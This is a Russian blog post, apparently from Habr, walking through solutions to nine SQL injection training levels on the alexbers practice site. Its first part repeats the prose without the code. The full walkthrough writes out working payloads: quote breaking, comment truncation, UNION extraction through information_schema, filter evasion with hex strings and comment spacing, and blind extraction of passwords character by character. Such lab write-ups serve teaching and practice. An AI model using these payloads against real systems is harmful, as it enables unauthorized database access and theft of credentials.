Хочу поделиться с «Хабрахабром» примером своих решений задач по sql-инъекциям с сайта alexbers.
Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.
Решение:
а ссылка будет выглядеть вот так:
Просто запрос со всеми данными, которые нам заведомо известны.
Нам продемонстрирован запрос:
Дано:
В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
Что мы сделали? Мы привели запрос к такому виду:
Мы пытаемся извлечь из таблицы users пользователя с
Опять виден запрос:
Дано:
Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.
Решение:
Вид запроса:
Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.
Запрос:
Дано:
Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором
Запрос:
Один из результатов и будет ответом на уровень.
Запрос:
Дано:
Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице
Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
Видим ответ.
Запрос:
Дано:
Здесь видно непонимание принципов работы фильтра
Дано:
Запрос:
Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии
Запрос:
Дано:
Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией
Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.
То есть нам надо вытащить числовое значение каждого логина и сложить. При этом будем оперировать следующим сравнением:
Вектор атаки разделяется на 2 запроса:
Всего в таблице 1069 записей, поэтому мы не сможем вывести ответ за один
Решение 10й задачи описано уже на ютубе, посмотреть можно вот здесь: www.youtube.com/watch?v=dLSxTGvwcLw
Пример 1: www.alexbers.com/sql/1.php
Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.
Дано: Таблица: users Поля: id,login,pass
Решение:
select * from users where id='12'
а ссылка будет выглядеть вот так:
https://www.alexbers.com/sql/1.php?text=select+*+from+users+where+id%3D%2712%27
Просто запрос со всеми данными, которые нам заведомо известны.
Пример 2: www.alexbers.com/sql/qnbutn2.php
Нам продемонстрирован запрос:
select * from users where id=2 or login='$text'
Дано:
Таблица: users Поля: id,login,pass Требование: Ура, я знаю ответ(пароль юзера с id=9):
В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/qnbutn2.php?text=-1' or id='9
Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or id='9'
Мы пытаемся извлечь из таблицы users пользователя с
id=2
или с login=1
или с id=9
, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса. Поскольку пользователя -1
не существует, мы из этого запроса ничего не получаем, зато id=9
существует. В результате получаем вывод из 2-х строк — пользователь с id=2
и с id=9
.Пример 3: www.alexbers.com/sql/sdjjy3.php
Опять виден запрос:
select * from users where id=2 or login='$text' limit 1
Дано:
Таблица: users Поля: id,login,pass Требование: Ура, я знаю ответ(пароль юзера с id=13):
Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.
Решение:
https://www.alexbers.com/sql/sdjjy3.php?text=-1' or id=13 -- 123
Вид запроса:
select * from users where id=2 or login='-1' or id=13 -- 123' limit 1
Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.
Пример 4: www.alexbers.com/sql/qjqhweh4.php
Запрос:
select * from users where id=2 or login='$text' limit 1
Дано:
Таблицы: users, secret Поля: id,login,pass - это в users. В таблице secret - 3 поля Требование: Ура, я знаю ответ(данное секретной таблицы с полем ggg=abc):
Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором
UNION
. По задаче требуется найти данное секретной таблицы с полем ggg=abc
. Количество полей в столбцах одинаково, потому запрос примет вид:Запрос:
https://www.alexbers.com/sql/qjqhweh4.php?text=-1'+union+select+* from secret where ggg='abc'+--+123
Один из результатов и будет ответом на уровень.
Пример 5: www.alexbers.com/sql/sdfkjsdk5.php
Запрос:
select * from users where id=2 or login='$text' limit 1
Дано:
Таблицы: users, secret Поля: id,login,pass - это в users. В таблице secret - 2 поля Требование: Ура, я знаю ответ(данное секретной таблицы):
Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице
users
, извлечем список всех колонок для секретной таблицы. В данный момент у нас нет одинакового количества колонок, поэтому union надо использовать по-другому.https://www.alexbers.com/sql/sdfkjsdk5.php ?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123
Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/sdfkjsdk5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123
Видим ответ.
Пример 6: www.alexbers.com/sql/skldj6
Запрос:
select * from users where id=$text limit 1
Дано:
Таблицы: users Поля: id,login,pass - это в users. Фильтруются кавычки, выводится только 1 строка из БД Требование: Ура, я знаю ответ(пароль пользователя с ником god):
Здесь видно непонимание принципов работы фильтра
mysq_real_escape_string
, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны, для текстовых полей можно будет использовать функцию CHAR()
или перевести в hex.https://www.alexbers.com/sql/skldj6.php?text=-1 union select id,login,pass from users where login=0x676f64
Пример 7: www.alexbers.com/sql/dsfhsdjkf7.php
Дано:
Таблицы: users Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся) Фильтруются символы ',",+,=,запятая,пробел,скобки Требование: Ура, я знаю ответ(пароль пользователя, с ником, содержащим в себе gentoo):
Запрос:
select * from users where id=$text limit 1
Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии
/**/ и /*!*/
, остается только одна проблема — фильтруется знак равенства. Но его можно обойти, используя оператор like
. Сравние со строкой предполагает кавычки, поэтому закодируем ее в hex. Также, нам доподлинно неизвестен ник, который мы ищем, поэтому будем использовать поиск по маске со значком %
в логине. Итоговый вектор атаки примет вид:https://www.alexbers.com/sql/dsfhsdjkf7.php?text=-1/*!or/*!login*/like/**/0x2567656e746f6f25
Пример 8: www.alexbers.com/sql/qqqwwweeerrr8.php
Запрос:
select * from users where id=$text
Дано:
Таблицы: users Поля: id,login,pass - это в users. Подсказка: сообщения от ошибках не выведутся Требование: Ура, я знаю ответ(пароль пользователя, с ником fast)
Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией
mid()
, для перевода в ascii – функция ascii()
, вектор атаки получится вот таким:https://www.alexbers.com/sql/qqqwwweeerrr8.php ?text=-1 or id<=(select ascii(mid(pass,1,1)) from users where login='fast')
Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.
Пример 9: www.alexbers.com/sql/almost9.php
Таблицы: users Поля: id,login,pass - это в users. Запрос: select * from users where id=$text Требуется: "Ура, я знаю ответ (числовая сумма логинов пользователей с 20<=id<=30)".
То есть нам надо вытащить числовое значение каждого логина и сложить. При этом будем оперировать следующим сравнением:
Вектор атаки разделяется на 2 запроса:
https://www.alexbers.com/sql/almost9.php ?text=-1 or id <= cast((select sum(login) from users where id between 20 and 30) as signed INTEGER)/10 https://www.alexbers.com/sql/almost9.php ?text=-1 or id <= MOD(cast((select sum(login) from users where id between 20 and 30) as signed INTEGER),10)
Всего в таблице 1069 записей, поэтому мы не сможем вывести ответ за один
пример 10
Решение 10й задачи описано уже на ютубе, посмотреть можно вот здесь: www.youtube.com/watch?v=dLSxTGvwcLw